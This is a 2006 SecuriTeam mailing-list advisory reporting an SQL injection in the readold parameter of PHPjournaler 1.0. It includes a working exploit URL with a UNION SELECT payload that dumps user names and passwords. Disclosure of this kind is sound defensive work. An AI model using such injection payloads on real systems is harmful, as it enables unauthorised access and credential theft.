From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 20 Jul 2006 12:08:10 +0200
Subject: [UNIX] PHPjournaler readold SQL Injection
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060720094549.4BB645C6C@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
PHPjournaler readold SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://freshmeat.net/redir/phpjournaler/16539/url_homepage/phpjournaler>
PHPjournaler is "a PHP frontend and MySQL database backend for an online
journal. It contains an extensive maintenance page with
modification/deletion of old entries, templating of various sections, and
a guestbook".
The variable $readold isn't properly sanitized before being used in a SQL
query. This can be used to make any SQL query by injecting arbitrary SQL
code.
DETAILS
Vulnerable Systems:
* PHPjournaler version 1.0
Exploit:
The following URL will return the passwords of the users:
http://host/phpjournaler/index.php? readold=999% 20union%20select%
201,password, 3,4,name,6% 20from%20Users/*
ADDITIONAL INFORMATION
The information has been provided by <mailto:alex@evuln.com.> Aliaksandr
Hartsuyeu.
The original article can be found at:
<http://evuln.com/vulns/9/summary.html>
http://evuln.com/vulns/9/summary.html
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.